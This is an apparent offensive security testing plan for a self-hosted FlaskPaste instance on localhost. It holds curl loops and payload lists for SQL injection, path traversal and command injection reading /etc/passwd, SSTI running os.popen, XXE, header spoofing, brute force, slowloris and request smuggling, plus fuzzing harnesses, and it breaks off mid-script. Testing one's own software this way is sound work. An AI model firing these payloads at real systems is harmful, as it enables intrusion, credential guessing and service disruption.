forked from username/flaskpaste
- FUZZING.md: comprehensive attack methodology covering 10 phases - tests/fuzz/run_fuzz.py: automated fuzzing harness with 6 test phases Phases: recon, input fuzzing, injection (SQLi, SSTI, path traversal, command injection), auth bypass, business logic, crypto attacks. Includes: radamsa mutations, hypothesis property testing, atheris coverage-guided fuzzing, HTTP smuggling, slowloris, nuclei templates.
1034 lines
27 KiB
Markdown
1034 lines
27 KiB
Markdown
# Offensive Security Testing Plan
|
|
|
|
Comprehensive fuzzing and penetration testing for FlaskPaste.
|
|
No restrictions. Break everything.
|
|
|
|
---
|
|
|
|
## Test Environment Setup
|
|
|
|
### Isolated Instance
|
|
|
|
```bash
|
|
# Create isolated workspace
|
|
export FUZZ_DIR="/tmp/flaskpaste-fuzz"
|
|
mkdir -p "$FUZZ_DIR"/{db,logs,crashes,results}
|
|
|
|
# Environment for isolated instance
|
|
export FLASKPASTE_DATABASE="$FUZZ_DIR/db/fuzz.db"
|
|
export FLASKPASTE_SECRET_KEY="fuzz-$(openssl rand -hex 16)"
|
|
export FLASKPASTE_PKI_PASSWORD="fuzz-pki-password"
|
|
export FLASKPASTE_REGISTRATION_ENABLED=true
|
|
export FLASKPASTE_POW_DIFFICULTY=1
|
|
export FLASKPASTE_RATE_LIMIT_ENABLED=false
|
|
export FLASKPASTE_PROXY_SECRET=""
|
|
export FLASK_ENV=development
|
|
export FLASK_DEBUG=0
|
|
|
|
# Start isolated instance
|
|
cd /home/user/git/flaskpaste
|
|
./venv/bin/python run.py --host 127.0.0.1 --port 5099 2>&1 | tee "$FUZZ_DIR/logs/server.log" &
|
|
FUZZ_PID=$!
|
|
echo $FUZZ_PID > "$FUZZ_DIR/server.pid"
|
|
|
|
# Target
|
|
export TARGET="http://127.0.0.1:5099"
|
|
```
|
|
|
|
### Teardown
|
|
|
|
```bash
|
|
kill $(cat "$FUZZ_DIR/server.pid") 2>/dev/null
|
|
rm -rf "$FUZZ_DIR"
|
|
```
|
|
|
|
---
|
|
|
|
## Attack Surface
|
|
|
|
### Endpoints
|
|
|
|
```
|
|
┌────────────────────────┬─────────────────┬─────────────────────────────────┐
|
|
│ Endpoint │ Methods │ Auth Required
|
|
├────────────────────────┼─────────────────┼─────────────────────────────────┤
|
|
│ / │ GET, POST │ PoW for POST
|
|
│ /health │ GET │ No
|
|
│ /challenge │ GET │ No
|
|
│ /client │ GET │ No
|
|
│ /register/challenge │ GET │ No
|
|
│ /register │ POST │ PoW
|
|
│ /pastes │ GET │ Client cert
|
|
│ /<paste_id> │ GET, HEAD, PUT │ Optional password
|
|
│ /<paste_id>/raw │ GET, HEAD │ Optional password
|
|
│ /<paste_id> │ DELETE │ Client cert + ownership
|
|
│ /pki │ GET │ No
|
|
│ /pki/ca │ POST │ PKI password
|
|
│ /pki/ca.crt │ GET │ No
|
|
│ /pki/issue │ POST │ Admin cert
|
|
│ /pki/certs │ GET │ Admin cert
|
|
│ /pki/revoke/<serial> │ POST │ Admin cert
|
|
│ /audit │ GET │ Admin cert
|
|
└────────────────────────┴─────────────────┴─────────────────────────────────┘
|
|
```
|
|
|
|
### Input Vectors
|
|
|
|
**Headers:**
|
|
- `X-Forwarded-For` - IP spoofing
|
|
- `X-Forwarded-Proto`, `X-Scheme` - Protocol injection
|
|
- `X-Forwarded-Host`, `Host` - Host header injection
|
|
- `X-Paste-Password` - Password bypass
|
|
- `X-Proxy-Secret` - Auth bypass
|
|
- `X-SSL-Client-SHA1` - Cert fingerprint spoofing
|
|
- `X-PoW-Token`, `X-PoW-Solution` - PoW bypass
|
|
- `X-Burn-After-Read` - Logic manipulation
|
|
- `X-Expiry` - Time-based attacks
|
|
- `X-Remove-Password`, `X-Extend-Expiry` - State manipulation
|
|
- `Content-Type` - Parser confusion
|
|
|
|
**Query Parameters:**
|
|
- `limit`, `offset` - Integer overflow, negative values
|
|
- `type`, `owner`, `event_type` - Injection
|
|
- `after`, `before`, `since`, `until` - Time manipulation
|
|
- `all` - Authorization bypass
|
|
- `client_id`, `paste_id`, `outcome` - ID enumeration
|
|
|
|
**URL Parameters:**
|
|
- `paste_id` - Path traversal, injection, enumeration
|
|
- `serial` - Certificate serial injection
|
|
|
|
**Body:**
|
|
- Raw bytes - Binary injection, null bytes
|
|
- JSON - Type confusion, nested objects
|
|
- Malformed encoding - UTF-8 attacks
|
|
|
|
---
|
|
|
|
## Phase 1: Reconnaissance & Enumeration
|
|
|
|
### Directory/Endpoint Fuzzing
|
|
|
|
```bash
|
|
# Install tools
|
|
pip install httpx aiohttp
|
|
|
|
# ffuf - fast web fuzzer
|
|
# Install: go install github.com/ffuf/ffuf/v2@latest
|
|
ffuf -u "$TARGET/FUZZ" -w /usr/share/wordlists/dirb/common.txt \
|
|
-mc all -fc 404 -o "$FUZZ_DIR/results/endpoints.json"
|
|
|
|
# Hidden endpoints
|
|
ffuf -u "$TARGET/FUZZ" -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt \
|
|
-mc 200,201,301,302,400,401,403,405,500 -o "$FUZZ_DIR/results/hidden.json"
|
|
|
|
# API versioning
|
|
for v in v1 v2 v3 api api/v1 api/v2 _api internal debug admin; do
|
|
curl -s -o /dev/null -w "%{http_code} /$v\n" "$TARGET/$v"
|
|
done
|
|
```
|
|
|
|
### Paste ID Enumeration
|
|
|
|
```bash
|
|
# Sequential IDs
|
|
for i in $(seq 1 1000); do
|
|
curl -s -o /dev/null -w "%{http_code} $i\n" "$TARGET/$i"
|
|
done | grep -v "^404"
|
|
|
|
# Common patterns
|
|
for id in test admin root debug null undefined NaN 0 -1 '' ' '; do
|
|
curl -s -o /dev/null -w "%{http_code} '$id'\n" "$TARGET/$id"
|
|
done
|
|
```
|
|
|
|
---
|
|
|
|
## Phase 2: Input Fuzzing
|
|
|
|
### HTTP Method Fuzzing
|
|
|
|
```bash
|
|
for method in GET POST PUT DELETE PATCH OPTIONS HEAD TRACE CONNECT \
|
|
PROPFIND PROPPATCH MKCOL COPY MOVE LOCK UNLOCK; do
|
|
for endpoint in / /health /challenge /pastes /pki /audit; do
|
|
code=$(curl -s -o /dev/null -w "%{http_code}" -X "$method" "$TARGET$endpoint")
|
|
echo "$code $method $endpoint"
|
|
done
|
|
done | sort -u
|
|
```
|
|
|
|
### Header Injection
|
|
|
|
```bash
|
|
# Host header poisoning
|
|
curl -v "$TARGET/" -H "Host: evil.com"
|
|
curl -v "$TARGET/" -H "X-Forwarded-Host: evil.com"
|
|
curl -v "$TARGET/" -H "X-Forwarded-For: 127.0.0.1"
|
|
curl -v "$TARGET/" -H "X-Forwarded-For: ' OR 1=1--"
|
|
|
|
# Proxy secret brute force
|
|
for secret in '' admin password secret proxy 123456 test; do
|
|
curl -s -o /dev/null -w "%{http_code} '$secret'\n" \
|
|
"$TARGET/pastes" -H "X-Proxy-Secret: $secret"
|
|
done
|
|
|
|
# Fake client cert fingerprint
|
|
curl -v "$TARGET/pastes" -H "X-SSL-Client-SHA1: 0000000000000000000000000000000000000000"
|
|
curl -v "$TARGET/pastes" -H "X-SSL-Client-SHA1: ' OR 1=1--"
|
|
curl -v "$TARGET/pastes" -H "X-SSL-Client-SHA1: ../../../etc/passwd"
|
|
```
|
|
|
|
### PoW Bypass Attempts
|
|
|
|
```bash
|
|
# Empty/malformed tokens
|
|
curl -X POST "$TARGET/" -d "test" \
|
|
-H "X-PoW-Token: " -H "X-PoW-Solution: "
|
|
|
|
curl -X POST "$TARGET/" -d "test" \
|
|
-H "X-PoW-Token: invalid" -H "X-PoW-Solution: 0"
|
|
|
|
# Negative solution
|
|
curl -X POST "$TARGET/" -d "test" \
|
|
-H "X-PoW-Token: $(curl -s $TARGET/challenge | jq -r .token)" \
|
|
-H "X-PoW-Solution: -1"
|
|
|
|
# Overflow
|
|
curl -X POST "$TARGET/" -d "test" \
|
|
-H "X-PoW-Token: test" \
|
|
-H "X-PoW-Solution: 99999999999999999999999999999999"
|
|
|
|
# Token reuse (race condition)
|
|
TOKEN=$(curl -s "$TARGET/challenge" | jq -r .token)
|
|
# Solve it, then try to reuse
|
|
```
|
|
|
|
### Content-Type Confusion
|
|
|
|
```bash
|
|
# JSON body with wrong content-type
|
|
curl -X POST "$TARGET/" -d '{"content":"test"}' \
|
|
-H "Content-Type: application/json"
|
|
|
|
curl -X POST "$TARGET/" -d '{"content":"test"}' \
|
|
-H "Content-Type: text/plain"
|
|
|
|
curl -X POST "$TARGET/" -d '{"content":"test"}' \
|
|
-H "Content-Type: application/x-www-form-urlencoded"
|
|
|
|
# Multipart confusion
|
|
curl -X POST "$TARGET/" -F "file=@/etc/passwd" \
|
|
-H "Content-Type: multipart/form-data"
|
|
|
|
# XML injection attempt
|
|
curl -X POST "$TARGET/" -d '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>' \
|
|
-H "Content-Type: application/xml"
|
|
```
|
|
|
|
---
|
|
|
|
## Phase 3: Injection Attacks
|
|
|
|
### SQL Injection
|
|
|
|
```bash
|
|
# Paste ID injection
|
|
SQLI_PAYLOADS=(
|
|
"' OR '1'='1"
|
|
"1' OR '1'='1'--"
|
|
"1; DROP TABLE pastes;--"
|
|
"1 UNION SELECT * FROM users--"
|
|
"1' AND SLEEP(5)--"
|
|
"1' AND (SELECT COUNT(*) FROM sqlite_master)>0--"
|
|
"1/**/OR/**/1=1"
|
|
"1' OR ''='"
|
|
)
|
|
|
|
for payload in "${SQLI_PAYLOADS[@]}"; do
|
|
encoded=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$payload'))")
|
|
curl -s -o /dev/null -w "%{http_code} %{time_total}s $payload\n" "$TARGET/$encoded"
|
|
done
|
|
|
|
# Header injection
|
|
for payload in "${SQLI_PAYLOADS[@]}"; do
|
|
curl -s -o /dev/null -w "%{http_code} %{time_total}s\n" \
|
|
"$TARGET/pastes" -H "X-SSL-Client-SHA1: $payload"
|
|
done
|
|
|
|
# sqlmap automated
|
|
sqlmap -u "$TARGET/FUZZ" --batch --level=5 --risk=3 \
|
|
--technique=BEUSTQ --dbms=sqlite \
|
|
-o --output-dir="$FUZZ_DIR/results/sqlmap"
|
|
```
|
|
|
|
### Path Traversal
|
|
|
|
```bash
|
|
TRAVERSAL_PAYLOADS=(
|
|
"../../../etc/passwd"
|
|
"....//....//....//etc/passwd"
|
|
"..%2f..%2f..%2fetc/passwd"
|
|
"..%252f..%252f..%252fetc/passwd"
|
|
"%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd"
|
|
"....\/....\/....\/etc/passwd"
|
|
"..;/..;/..;/etc/passwd"
|
|
"..//..//..//etc/passwd"
|
|
)
|
|
|
|
for payload in "${TRAVERSAL_PAYLOADS[@]}"; do
|
|
curl -s -o /dev/null -w "%{http_code} $payload\n" "$TARGET/$payload"
|
|
curl -s -o /dev/null -w "%{http_code} $payload (raw)\n" "$TARGET/$payload/raw"
|
|
done
|
|
```
|
|
|
|
### Command Injection
|
|
|
|
```bash
|
|
CMD_PAYLOADS=(
|
|
"; ls -la"
|
|
"| cat /etc/passwd"
|
|
"\$(cat /etc/passwd)"
|
|
"\`cat /etc/passwd\`"
|
|
"|| cat /etc/passwd"
|
|
"&& cat /etc/passwd"
|
|
"; sleep 10"
|
|
"| sleep 10"
|
|
)
|
|
|
|
for payload in "${CMD_PAYLOADS[@]}"; do
|
|
# In paste content
|
|
curl -s -X POST "$TARGET/" -d "$payload" -o /dev/null -w "%{time_total}s\n"
|
|
|
|
# In headers
|
|
curl -s "$TARGET/" -H "X-Forwarded-For: $payload" -o /dev/null
|
|
done
|
|
```
|
|
|
|
### SSTI (Server-Side Template Injection)
|
|
|
|
```bash
|
|
SSTI_PAYLOADS=(
|
|
"{{7*7}}"
|
|
"{{config}}"
|
|
"{{self.__class__.__mro__[2].__subclasses__()}}"
|
|
"${7*7}"
|
|
"<%= 7*7 %>"
|
|
"{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}"
|
|
"{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}"
|
|
)
|
|
|
|
for payload in "${SSTI_PAYLOADS[@]}"; do
|
|
# Create paste with SSTI payload
|
|
response=$(curl -s -X POST "$TARGET/" -d "$payload" \
|
|
-H "X-PoW-Token: test" -H "X-PoW-Solution: 0")
|
|
echo "$response" | grep -q "49" && echo "SSTI CONFIRMED: $payload"
|
|
done
|
|
```
|
|
|
|
---
|
|
|
|
## Phase 4: Authentication & Authorization
|
|
|
|
### Certificate Fingerprint Attacks
|
|
|
|
```bash
|
|
# Fingerprint enumeration
|
|
for i in $(seq -w 00 ff); do
|
|
fp="${i}00000000000000000000000000000000000000"
|
|
code=$(curl -s -o /dev/null -w "%{http_code}" \
|
|
"$TARGET/pastes" -H "X-SSL-Client-SHA1: $fp")
|
|
[ "$code" != "401" ] && echo "Hit: $fp -> $code"
|
|
done
|
|
|
|
# Known weak fingerprints
|
|
WEAK_FPS=(
|
|
"0000000000000000000000000000000000000000"
|
|
"da39a3ee5e6b4b0d3255bfef95601890afd80709" # SHA1 of empty
|
|
"ffffffffffffffffffffffffffffffffffffffff"
|
|
)
|
|
|
|
for fp in "${WEAK_FPS[@]}"; do
|
|
curl -v "$TARGET/pastes" -H "X-SSL-Client-SHA1: $fp"
|
|
done
|
|
```
|
|
|
|
### Admin Privilege Escalation
|
|
|
|
```bash
|
|
# Try to issue certs without admin
|
|
curl -X POST "$TARGET/pki/issue" \
|
|
-H "Content-Type: application/json" \
|
|
-d '{"common_name": "hacker"}'
|
|
|
|
# Try to access audit without admin
|
|
curl "$TARGET/audit"
|
|
|
|
# Certificate serial manipulation
|
|
curl -X POST "$TARGET/pki/revoke/1"
|
|
curl -X POST "$TARGET/pki/revoke/-1"
|
|
curl -X POST "$TARGET/pki/revoke/999999999999"
|
|
curl -X POST "$TARGET/pki/revoke/../../../"
|
|
```
|
|
|
|
### Password Protection Bypass
|
|
|
|
```bash
|
|
# Create password-protected paste, try to bypass
|
|
PASTE_ID="test123"
|
|
|
|
# Timing attack on password check
|
|
for i in $(seq 1 100); do
|
|
curl -s -o /dev/null -w "%{time_total}\n" \
|
|
"$TARGET/$PASTE_ID" -H "X-Paste-Password: wrong$i"
|
|
done | sort -n
|
|
|
|
# Empty password
|
|
curl "$TARGET/$PASTE_ID" -H "X-Paste-Password: "
|
|
|
|
# Null byte injection
|
|
curl "$TARGET/$PASTE_ID" -H "X-Paste-Password: correct%00garbage"
|
|
```
|
|
|
|
---
|
|
|
|
## Phase 5: Business Logic Attacks
|
|
|
|
### Race Conditions
|
|
|
|
```bash
|
|
# Concurrent paste creation with same content (dedup bypass)
|
|
for i in $(seq 1 100); do
|
|
curl -s -X POST "$TARGET/" -d "race-test-content" &
|
|
done
|
|
wait
|
|
|
|
# Burn-after-read race
|
|
PASTE_ID="burn-test"
|
|
# Create burn paste, then race to read multiple times
|
|
for i in $(seq 1 50); do
|
|
curl -s "$TARGET/$PASTE_ID" &
|
|
done
|
|
wait
|
|
|
|
# Rate limit race
|
|
for i in $(seq 1 200); do
|
|
curl -s -X POST "$TARGET/" -d "rate-limit-test-$i" &
|
|
done
|
|
wait
|
|
```
|
|
|
|
### Expiry Manipulation
|
|
|
|
```bash
|
|
# Negative expiry
|
|
curl -X POST "$TARGET/" -d "test" -H "X-Expiry: -1"
|
|
curl -X POST "$TARGET/" -d "test" -H "X-Expiry: -999999999"
|
|
|
|
# Overflow expiry
|
|
curl -X POST "$TARGET/" -d "test" -H "X-Expiry: 999999999999999999"
|
|
|
|
# Time travel
|
|
curl -X POST "$TARGET/" -d "test" -H "X-Expiry: 0"
|
|
|
|
# Extend beyond limits
|
|
curl -X PUT "$TARGET/test-paste" -H "X-Extend-Expiry: 999999999"
|
|
```
|
|
|
|
### Resource Exhaustion
|
|
|
|
```bash
|
|
# Large paste (memory exhaustion)
|
|
dd if=/dev/urandom bs=1M count=100 | curl -X POST "$TARGET/" --data-binary @-
|
|
|
|
# Many small pastes (DB exhaustion)
|
|
for i in $(seq 1 10000); do
|
|
curl -s -X POST "$TARGET/" -d "flood-$i" &
|
|
[ $((i % 100)) -eq 0 ] && wait
|
|
done
|
|
|
|
# Deep recursion in JSON
|
|
python3 -c "print('{' * 1000 + '\"a\":1' + '}' * 1000)" | \
|
|
curl -X POST "$TARGET/pki/ca" -H "Content-Type: application/json" -d @-
|
|
```
|
|
|
|
---
|
|
|
|
## Phase 6: Cryptographic Attacks
|
|
|
|
### PoW Token Analysis
|
|
|
|
```bash
|
|
# Collect tokens for pattern analysis
|
|
for i in $(seq 1 1000); do
|
|
curl -s "$TARGET/challenge" | jq -r .token >> "$FUZZ_DIR/results/tokens.txt"
|
|
done
|
|
|
|
# Analyze randomness
|
|
python3 << 'EOF'
|
|
import base64
|
|
import collections
|
|
|
|
with open("/tmp/flaskpaste-fuzz/results/tokens.txt") as f:
|
|
tokens = [line.strip() for line in f]
|
|
|
|
# Check for patterns
|
|
for i, t in enumerate(tokens[:-1]):
|
|
if t == tokens[i+1]:
|
|
print(f"DUPLICATE TOKEN at {i}: {t}")
|
|
|
|
# Byte distribution
|
|
all_bytes = b''.join(base64.b64decode(t) for t in tokens if t)
|
|
dist = collections.Counter(all_bytes)
|
|
print(f"Byte distribution entropy: {len(dist)}/256")
|
|
EOF
|
|
```
|
|
|
|
### Timing Attacks
|
|
|
|
```bash
|
|
# Password comparison timing
|
|
python3 << 'EOF'
|
|
import requests
|
|
import statistics
|
|
import time
|
|
|
|
target = "http://127.0.0.1:5099"
|
|
paste_id = "test-timing"
|
|
|
|
# Measure response times for different password lengths
|
|
results = {}
|
|
for length in range(1, 20):
|
|
password = "a" * length
|
|
times = []
|
|
for _ in range(100):
|
|
start = time.perf_counter()
|
|
requests.get(f"{target}/{paste_id}", headers={"X-Paste-Password": password})
|
|
times.append(time.perf_counter() - start)
|
|
results[length] = statistics.mean(times)
|
|
print(f"Length {length}: {results[length]*1000:.3f}ms")
|
|
|
|
# Look for timing differences
|
|
EOF
|
|
```
|
|
|
|
### Certificate Attacks
|
|
|
|
```bash
|
|
# Generate malformed certificates
|
|
openssl ecparam -name secp384r1 -genkey -out "$FUZZ_DIR/bad.key"
|
|
|
|
# Self-signed with weird parameters
|
|
openssl req -new -x509 -key "$FUZZ_DIR/bad.key" -out "$FUZZ_DIR/bad.crt" \
|
|
-days 1 -subj "/CN='; DROP TABLE certificates;--"
|
|
|
|
# Try to register with malformed cert
|
|
curl -X POST "$TARGET/register" \
|
|
--cert "$FUZZ_DIR/bad.crt" --key "$FUZZ_DIR/bad.key"
|
|
|
|
# PKI password brute force
|
|
COMMON_PASSWORDS=(
|
|
"" "password" "admin" "123456" "pki" "secret"
|
|
"flaskpaste" "certificate" "ca" "root"
|
|
)
|
|
|
|
for pw in "${COMMON_PASSWORDS[@]}"; do
|
|
code=$(curl -s -o /dev/null -w "%{http_code}" \
|
|
-X POST "$TARGET/pki/ca" \
|
|
-H "Content-Type: application/json" \
|
|
-d "{\"password\": \"$pw\"}")
|
|
echo "$code $pw"
|
|
done
|
|
```
|
|
|
|
---
|
|
|
|
## Phase 7: Advanced Fuzzing
|
|
|
|
### Radamsa Mutations
|
|
|
|
```bash
|
|
# Install radamsa
|
|
# git clone https://gitlab.com/akihe/radamsa && cd radamsa && make && sudo make install
|
|
|
|
# Generate mutated inputs
|
|
echo "normal paste content" > "$FUZZ_DIR/seed.txt"
|
|
|
|
for i in $(seq 1 1000); do
|
|
radamsa "$FUZZ_DIR/seed.txt" | curl -s -X POST "$TARGET/" \
|
|
--data-binary @- -o /dev/null -w "%{http_code}\n" 2>/dev/null
|
|
done | sort | uniq -c
|
|
|
|
# Mutate JSON
|
|
echo '{"common_name": "test"}' > "$FUZZ_DIR/seed.json"
|
|
for i in $(seq 1 1000); do
|
|
radamsa "$FUZZ_DIR/seed.json" | curl -s -X POST "$TARGET/pki/ca" \
|
|
-H "Content-Type: application/json" \
|
|
--data-binary @- -o /dev/null -w "%{http_code}\n" 2>/dev/null
|
|
done | sort | uniq -c
|
|
```
|
|
|
|
### AFL++ (if Python can be instrumented)
|
|
|
|
```bash
|
|
# Python AFL instrumentation (experimental)
|
|
pip install python-afl
|
|
|
|
# Create harness
|
|
cat > "$FUZZ_DIR/harness.py" << 'HARNESS'
|
|
import afl
|
|
import sys
|
|
sys.path.insert(0, '/home/user/git/flaskpaste')
|
|
from app import create_app
|
|
|
|
app = create_app()
|
|
|
|
afl.init()
|
|
with app.test_client() as client:
|
|
data = sys.stdin.buffer.read()
|
|
try:
|
|
client.post('/', data=data)
|
|
except Exception:
|
|
pass
|
|
HARNESS
|
|
|
|
# Run AFL
|
|
# py-afl-fuzz -i "$FUZZ_DIR/seeds" -o "$FUZZ_DIR/afl-out" -- python "$FUZZ_DIR/harness.py"
|
|
```
|
|
|
|
### Hypothesis Property Testing
|
|
|
|
```bash
|
|
cat > "$FUZZ_DIR/hypothesis_fuzz.py" << 'HYPO'
|
|
import hypothesis
|
|
from hypothesis import given, strategies as st, settings
|
|
import requests
|
|
import os
|
|
|
|
TARGET = os.environ.get("TARGET", "http://127.0.0.1:5099")
|
|
|
|
@settings(max_examples=10000, deadline=None)
|
|
@given(st.binary(min_size=0, max_size=10000))
|
|
def test_paste_content(content):
|
|
"""Fuzz paste content with arbitrary bytes."""
|
|
try:
|
|
r = requests.post(TARGET + "/", data=content, timeout=5)
|
|
assert r.status_code in (201, 400, 413, 429, 503)
|
|
except requests.exceptions.RequestException:
|
|
pass
|
|
|
|
@settings(max_examples=10000, deadline=None)
|
|
@given(st.text(min_size=0, max_size=1000))
|
|
def test_paste_id(paste_id):
|
|
"""Fuzz paste ID retrieval."""
|
|
try:
|
|
r = requests.get(f"{TARGET}/{paste_id}", timeout=5)
|
|
assert r.status_code in (200, 400, 404, 410)
|
|
except requests.exceptions.RequestException:
|
|
pass
|
|
|
|
@settings(max_examples=5000, deadline=None)
|
|
@given(
|
|
st.dictionaries(
|
|
st.text(min_size=1, max_size=50),
|
|
st.one_of(st.text(), st.integers(), st.floats(), st.none(), st.booleans()),
|
|
min_size=0, max_size=20
|
|
)
|
|
)
|
|
def test_pki_json(data):
|
|
"""Fuzz PKI endpoints with arbitrary JSON."""
|
|
try:
|
|
r = requests.post(
|
|
TARGET + "/pki/ca",
|
|
json=data,
|
|
timeout=5
|
|
)
|
|
assert r.status_code in (200, 201, 400, 401, 403, 409, 500)
|
|
except requests.exceptions.RequestException:
|
|
pass
|
|
|
|
@settings(max_examples=5000, deadline=None)
|
|
@given(st.dictionaries(st.text(), st.text(), min_size=0, max_size=30))
|
|
def test_arbitrary_headers(headers):
|
|
"""Fuzz with arbitrary headers."""
|
|
safe_headers = {k[:100]: v[:1000] for k, v in headers.items()
|
|
if k and not k.lower().startswith(('host', 'content-length'))}
|
|
try:
|
|
r = requests.get(TARGET + "/", headers=safe_headers, timeout=5)
|
|
except requests.exceptions.RequestException:
|
|
pass
|
|
|
|
if __name__ == "__main__":
|
|
test_paste_content()
|
|
test_paste_id()
|
|
test_pki_json()
|
|
test_arbitrary_headers()
|
|
HYPO
|
|
|
|
pip install hypothesis requests
|
|
python "$FUZZ_DIR/hypothesis_fuzz.py"
|
|
```
|
|
|
|
### Atheris (LibFuzzer for Python)
|
|
|
|
```bash
|
|
cat > "$FUZZ_DIR/atheris_fuzz.py" << 'ATHERIS'
|
|
import atheris
|
|
import sys
|
|
|
|
with atheris.instrument_imports():
|
|
sys.path.insert(0, '/home/user/git/flaskpaste')
|
|
from app import create_app
|
|
from app.database import init_db
|
|
import tempfile
|
|
import os
|
|
|
|
# Create isolated app
|
|
tmpdir = tempfile.mkdtemp()
|
|
os.environ['FLASKPASTE_DATABASE'] = f'{tmpdir}/fuzz.db'
|
|
app = create_app()
|
|
|
|
def TestOneInput(data):
|
|
with app.test_client() as client:
|
|
fdp = atheris.FuzzedDataProvider(data)
|
|
|
|
# Fuzz endpoint
|
|
endpoint = fdp.ConsumeUnicodeNoSurrogates(100)
|
|
method = fdp.PickValueInList(['GET', 'POST', 'PUT', 'DELETE', 'HEAD'])
|
|
body = fdp.ConsumeBytes(fdp.remaining_bytes())
|
|
|
|
try:
|
|
if method == 'GET':
|
|
client.get(f'/{endpoint}')
|
|
elif method == 'POST':
|
|
client.post(f'/{endpoint}', data=body)
|
|
elif method == 'PUT':
|
|
client.put(f'/{endpoint}', data=body)
|
|
elif method == 'DELETE':
|
|
client.delete(f'/{endpoint}')
|
|
elif method == 'HEAD':
|
|
client.head(f'/{endpoint}')
|
|
except Exception:
|
|
pass
|
|
|
|
if __name__ == "__main__":
|
|
atheris.Setup(sys.argv, TestOneInput)
|
|
atheris.Fuzz()
|
|
ATHERIS
|
|
|
|
pip install atheris
|
|
python "$FUZZ_DIR/atheris_fuzz.py" -max_len=10000 -runs=100000
|
|
```
|
|
|
|
---
|
|
|
|
## Phase 8: Protocol-Level Attacks
|
|
|
|
### HTTP Smuggling
|
|
|
|
```bash
|
|
# CL.TE smuggling attempt
|
|
printf 'POST / HTTP/1.1\r\nHost: target\r\nContent-Length: 13\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\nSMUGGLED' | \
|
|
nc 127.0.0.1 5099
|
|
|
|
# TE.CL smuggling attempt
|
|
printf 'POST / HTTP/1.1\r\nHost: target\r\nContent-Length: 3\r\nTransfer-Encoding: chunked\r\n\r\n8\r\nSMUGGLED\r\n0\r\n\r\n' | \
|
|
nc 127.0.0.1 5099
|
|
|
|
# Double Content-Length
|
|
printf 'POST / HTTP/1.1\r\nHost: target\r\nContent-Length: 5\r\nContent-Length: 100\r\n\r\nHELLO' | \
|
|
nc 127.0.0.1 5099
|
|
```
|
|
|
|
### HTTP/2 Attacks (if applicable)
|
|
|
|
```bash
|
|
# h2c smuggling
|
|
curl --http2 "$TARGET/"
|
|
curl --http2-prior-knowledge "$TARGET/"
|
|
|
|
# HPACK bomb
|
|
# Requires specialized tools
|
|
```
|
|
|
|
### Slowloris / Slow POST
|
|
|
|
```bash
|
|
# Slow headers
|
|
python3 << 'EOF'
|
|
import socket
|
|
import time
|
|
|
|
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
|
sock.connect(("127.0.0.1", 5099))
|
|
sock.send(b"POST / HTTP/1.1\r\nHost: target\r\n")
|
|
|
|
for i in range(100):
|
|
sock.send(f"X-Header-{i}: {'A'*100}\r\n".encode())
|
|
time.sleep(1)
|
|
print(f"Sent header {i}")
|
|
EOF
|
|
|
|
# Slow body
|
|
python3 << 'EOF'
|
|
import socket
|
|
import time
|
|
|
|
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
|
sock.connect(("127.0.0.1", 5099))
|
|
sock.send(b"POST / HTTP/1.1\r\nHost: target\r\nContent-Length: 1000000\r\n\r\n")
|
|
|
|
for i in range(1000):
|
|
sock.send(b"A")
|
|
time.sleep(0.1)
|
|
print(f"Sent byte {i}")
|
|
EOF
|
|
```
|
|
|
|
---
|
|
|
|
## Phase 9: Specialized Tools
|
|
|
|
### Nuclei Templates
|
|
|
|
```bash
|
|
# Install nuclei
|
|
go install github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
|
|
|
|
# Run all templates
|
|
nuclei -u "$TARGET" -t nuclei-templates/ -o "$FUZZ_DIR/results/nuclei.txt"
|
|
|
|
# Custom template for FlaskPaste
|
|
cat > "$FUZZ_DIR/flaskpaste.yaml" << 'TEMPLATE'
|
|
id: flaskpaste-pow-bypass
|
|
info:
|
|
name: FlaskPaste PoW Bypass
|
|
severity: high
|
|
|
|
requests:
|
|
- method: POST
|
|
path:
|
|
- "{{BaseURL}}/"
|
|
headers:
|
|
X-PoW-Token: "invalid"
|
|
X-PoW-Solution: "0"
|
|
body: "test"
|
|
matchers:
|
|
- type: status
|
|
status:
|
|
- 201
|
|
TEMPLATE
|
|
|
|
nuclei -u "$TARGET" -t "$FUZZ_DIR/flaskpaste.yaml"
|
|
```
|
|
|
|
### Burp Suite / ZAP Automation
|
|
|
|
```bash
|
|
# OWASP ZAP API scan
|
|
docker run -t owasp/zap2docker-stable zap-api-scan.py \
|
|
-t "$TARGET" -f openapi -r "$FUZZ_DIR/results/zap-report.html"
|
|
|
|
# ZAP baseline scan
|
|
docker run -t owasp/zap2docker-stable zap-baseline.py \
|
|
-t "$TARGET" -r "$FUZZ_DIR/results/zap-baseline.html"
|
|
```
|
|
|
|
### Custom Python Fuzzer
|
|
|
|
```python
|
|
#!/usr/bin/env python3
|
|
"""Comprehensive FlaskPaste fuzzer."""
|
|
import asyncio
|
|
import aiohttp
|
|
import random
|
|
import string
|
|
import hashlib
|
|
import json
|
|
import os
|
|
from pathlib import Path
|
|
|
|
TARGET = os.environ.get("TARGET", "http://127.0.0.1:5099")
|
|
RESULTS_DIR = Path(os.environ.get("FUZZ_DIR", "/tmp/flaskpaste-fuzz")) / "results"
|
|
RESULTS_DIR.mkdir(parents=True, exist_ok=True)
|
|
|
|
# Payload generators
|
|
def random_bytes(n):
|
|
return bytes(random.getrandbits(8) for _ in range(n))
|
|
|
|
def random_string(n):
|
|
return ''.join(random.choices(string.printable, k=n))
|
|
|
|
def null_bytes():
|
|
return b'\x00' * random.randint(1, 100)
|
|
|
|
def unicode_bombs():
|
|
return random.choice([
|
|
'\u202e' * 100, # RTL override
|
|
'\ufeff' * 100, # BOM
|
|
'\u0000' * 100, # Null
|
|
'A\u0300' * 100, # Combining chars
|
|
'\U0001F4A9' * 100, # Emoji
|
|
])
|
|
|
|
async def fuzz_endpoint(session, method, path, **kwargs):
|
|
try:
|
|
async with session.request(method, f"{TARGET}{path}", **kwargs, timeout=5) as r:
|
|
return r.status, await r.text()
|
|
except Exception as e:
|
|
return None, str(e)
|
|
|
|
